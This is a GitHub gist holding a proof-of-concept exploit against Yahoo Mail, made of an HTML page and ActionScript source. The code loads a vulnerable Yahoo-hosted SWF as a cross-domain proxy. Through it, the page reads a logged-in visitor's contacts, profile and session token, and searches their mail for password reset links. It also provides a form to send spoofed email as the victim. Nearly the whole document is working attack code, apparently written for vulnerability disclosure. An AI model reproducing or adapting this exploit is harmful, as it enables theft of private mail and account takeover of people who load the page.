-
-
Save JordanMilne/e14cf1dcd4bfbd85275e to your computer and use it in GitHub Desktop.
YMail leaking PoC
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<script src="//code.jquery.com/jquery-1.11.0.min.js"></script> | |
<script src="//code.jquery.com/jquery-migrate-1.2.1.min.js"></script> | |
<script src="//cdnjs.cloudflare.com/ajax/libs/json2/20130526/json2.js"></script> | |
<script> | |
// URL to get the current user's contacts | |
var CONTACTS_URL = "https://ca-mg6.mail.yahoo.com/neo/ws/sd?/v1/user/me/contacts;count=max;sort=asc?format=json&view=compact&_sc=1"; | |
// URL to get the current user's profile | |
var PROFILE_URL = "https://ca-mg6.mail.yahoo.com/neo/ws/sd?/v1/user/me/profile;count=max;sort=asc?format=json&_sc=1"; | |
// Get the current user's WSSID, found by MITMing the YMail app | |
var WSSID_URL = "https://m.mg.mail.yahoo.com/hg/controller/controller.php"; | |
// For searching through mail once we have a WSSID | |
var FETCH_MAIL_URL = "https://ca-mg6.mail.yahoo.com/mailsearch/v2/search?appid=YahooMailNeo&wssid={{WSSID}}&sorting=-date&query={{QUERY}}"; | |
function deflashify(flashed) { | |
return $.parseJSON(decodeURIComponent(flashed)); | |
} | |
function flashProxy(url, callback_name) { | |
$("#flasher")[0].stealData(url, callback_name); | |
} | |
function onProfileLeaked(leak) { | |
leak = deflashify(leak); | |
var col = $("#profile_col"); | |
if(leak) { | |
col.text(JSON.stringify(leak, null, 4)); | |
} else { | |
col.text("Couldn't leak your profile"); | |
} | |
} | |
function onContactsLeaked(leak) { | |
leak = deflashify(leak); | |
var col = $("#contacts_col"); | |
if(leak) { | |
// turn the resource into something actually readable. | |
var newContacts = []; | |
newContacts = $.map(leak.contacts.contact, function(contact, i) { | |
var newContact = {}; | |
$.each(contact.fields, function(i, field) { | |
newContact[field.type] = field.value; | |
}); | |
return newContact; | |
}); | |
col.text(JSON.stringify(newContacts, null, 4)); | |
} else { | |
col.text("Couldn't leak your contacts"); | |
} | |
} | |
function onWSSIDLeaked(leak) { | |
leak = deflashify(leak); | |
var col = $("#mail_col"); | |
if(leak && leak.wssid) { | |
// Now that we have the WSSID, we can do all sorts of things, | |
// even send our own email! | |
window.wssid = leak.wssid; | |
$("#wssid").val(leak.wssid); | |
fetchMailQuery(); | |
} else { | |
col.text("Couldn't get the WSSID"); | |
} | |
} | |
function fetchMailQuery() { | |
if(!window.wssid) return; | |
$("#mail_col").text(""); | |
var url = FETCH_MAIL_URL.replace("{{WSSID}}", window.wssid); | |
url = url.replace("{{QUERY}}", encodeURIComponent($("#mail_query").val())); | |
flashProxy(url, "onMailLeaked"); | |
} | |
function onMailLeaked(leak) { | |
leak = deflashify(leak); | |
var col = $("#mail_col"); | |
if(leak) { | |
col.text(JSON.stringify(leak, null, 4)); | |
} else { | |
col.text("Couldn't leak your mail, maybe there are angle brackets in one of your emails? Try changing the query. :("); | |
} | |
} | |
function flasherReady() { | |
$("#mail_query").change(fetchMailQuery); | |
flashProxy(CONTACTS_URL, "onContactsLeaked"); | |
flashProxy(PROFILE_URL, "onProfileLeaked"); | |
flashProxy(WSSID_URL, "onWSSIDLeaked"); | |
} | |
</script> | |
<style> | |
.leaked * { | |
vertical-align: top; | |
} | |
.leaked pre { | |
white-space: pre-wrap; /* CSS 3 */ | |
white-space: -moz-pre-wrap; /* Mozilla, since 1999 */ | |
white-space: -pre-wrap; /* Opera 4-6 */ | |
white-space: -o-pre-wrap; /* Opera 7 */ | |
word-wrap: break-word; /* Internet Explorer 5.5+ */ | |
} | |
</style> | |
</head> | |
<body bgcolor="#ddd"> | |
<object id="flasher" width="25" height="25" data="YahooFlasher.swf"> | |
<param name="AllowScriptAccess" value="always"> | |
</object> | |
<iframe name="post_target" width="1" height="1"></iframe> | |
<span> | |
Leaked data shows up here if you're logged into your Yahoo! account. | |
</span> | |
<br> | |
<table style="width: 100%" border="1"> | |
<thead> | |
<th width="33%">Contacts</th> | |
<th width="33%">Profile</th> | |
<th width="33%">Mail</th> | |
</thead> | |
<tbody class="leaked"> | |
<tr> | |
<td><pre id="contacts_col"></pre></td> | |
<td><pre id="profile_col"></pre></td> | |
<td> | |
<!-- Fetches mail that might have password reset links, also helpfully avoids angle brackets --> | |
<span>Query: </span><br> <textarea id="mail_query" style="width:98%" rows="4">{"keyword":"http","group":{"from":{},"folder":{},"flags":{"order":"desc"},"attachmenttype":{},"date":{"unit":"year"}},"flags":{"softdelete":0}}</textarea> | |
<hr> | |
<form method="POST" action="https://m.mg.mail.yahoo.com/hg/controller/controller.php" target="post_target"> | |
<span>Spoof Email: </span><input type="submit" value="Send!"> | |
<input type="hidden" id="wssid" name="wssid"> | |
<input type="hidden" name="ac" value="SendMessage"> | |
<br> | |
<textarea name="params" style="width:98%" rows="4">{"message":{"to":[{"email":"foo@saynotolinux.com","name":"foo@saynotolinux.com"}],"simplebody":{"text":"Such exploit, very cross domain!", "html":"Such exploit, very cross domain!"},"subject":"Hax"}}</textarea> | |
</form> | |
<hr> | |
<pre id="mail_col"></pre> | |
</td> | |
</tr> | |
</tbody> | |
</table> | |
</body> | |
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package { | |
import flash.display.*; | |
import flash.events.*; | |
import flash.external.*; | |
import flash.net.*; | |
import flash.text.*; | |
import flash.utils.*; | |
import flash.system.*; | |
public class YahooFlasher extends MovieClip { | |
// Vulnerable SWF to make our requests through | |
private static const PROXY_URL:String = "http://img.autos.yahoo.com/i/izmo/engine/hotspotgallery/hotspotgallery.swf"; | |
// Get just the origin from a fully-qualified URL | |
private static const ORIGIN_REGEX:RegExp = /^(\w+:\/\/[^\/]+\/).*/; | |
public function YahooFlasher() { | |
addEventListener(Event.ADDED_TO_STAGE, onAdded); | |
} | |
private function onAdded(e:Event):void { | |
// Set timeout to avoid syncronous issues | |
setTimeout(function():void { | |
if (ExternalInterface.available) { | |
// Let's not make *ourselves* vulnerable to weird exploits. | |
var swfOrigin:String = loaderInfo.url.replace(ORIGIN_REGEX, "$1"); | |
if(!ORIGIN_REGEX.test(swfOrigin) || swfOrigin != Security.pageDomain) { | |
ExternalInterface.call("alert", "AY! This .swf needs to be on the same page as the one embedding it!"); | |
return; | |
} | |
ExternalInterface.addCallback("stealData", stealData); | |
ExternalInterface.call("flasherReady"); | |
} | |
}, 1); | |
} | |
public function stealData(targetURL:String, callback:String):void { | |
/// | |
/// Steal data through the proxy SWF, response body must look like | |
/// valid XML and status code must not be >= 400. | |
/// | |
var ldrComplete:Function = function (_arg1:Event):void { | |
setTimeout(function():void{ | |
var proxyClip:Object = MCLoader.content; | |
// This thing's all janked and the request will be made to dataPath + "/" + exteriorXML1. | |
// Try to make it so that this won't affect our target. | |
var splitURL:Array = targetURL.split('/'); | |
proxyClip.dataPath = splitURL.shift(); | |
proxyClip.exteriorXML1 = splitURL.join('/'); | |
// Triggers the HTTP Request through the vulnerable SWF | |
proxyClip.loadXML2(); | |
var timeLimit:Number = new Date().getTime() + 10000; | |
// Keep checking if the data's been loaded, | |
// If `new XML(response)` raises, this will never be true, | |
// the response has to look like valid XML, but most JSON | |
// resources work too. Maybe because it sees it as one big | |
// top-level TextNode? | |
function checkFinished():void { | |
setTimeout(function():void { | |
var stolenXML:XML = proxyClip.DATA3; | |
if(stolenXML !== null) { | |
var ret:String; | |
// If we get a simple node with no name, it's probably not even XML. | |
// Get the string representation without XML escaping. | |
if(stolenXML.name() || stolenXML.hasComplexContent()) | |
ret = stolenXML.toXMLString(); | |
else | |
ret = stolenXML.toString(); | |
if(callback) | |
// Flash can't be trusted to serialize `ret` properly. Just encode it. | |
ExternalInterface.call(callback, encodeURIComponent(ret)); | |
} else { | |
// Hit a timeout when trying to fetch the response. Either a non-200 status code | |
// was returned, or we couldn't parse the body as XML :( | |
if(new Date().getTime() > timeLimit) { | |
if(callback) | |
ExternalInterface.call(callback, null); | |
} else { | |
checkFinished(); | |
} | |
} | |
}, 10); | |
} | |
checkFinished(); | |
}, 100); | |
}; | |
// Load up the vulnerable proxy SWF | |
var MCLoader:Loader = new Loader(); | |
MCLoader.load(new URLRequest(PROXY_URL)); | |
MCLoader.contentLoaderInfo.addEventListener(Event.COMPLETE, ldrComplete); | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment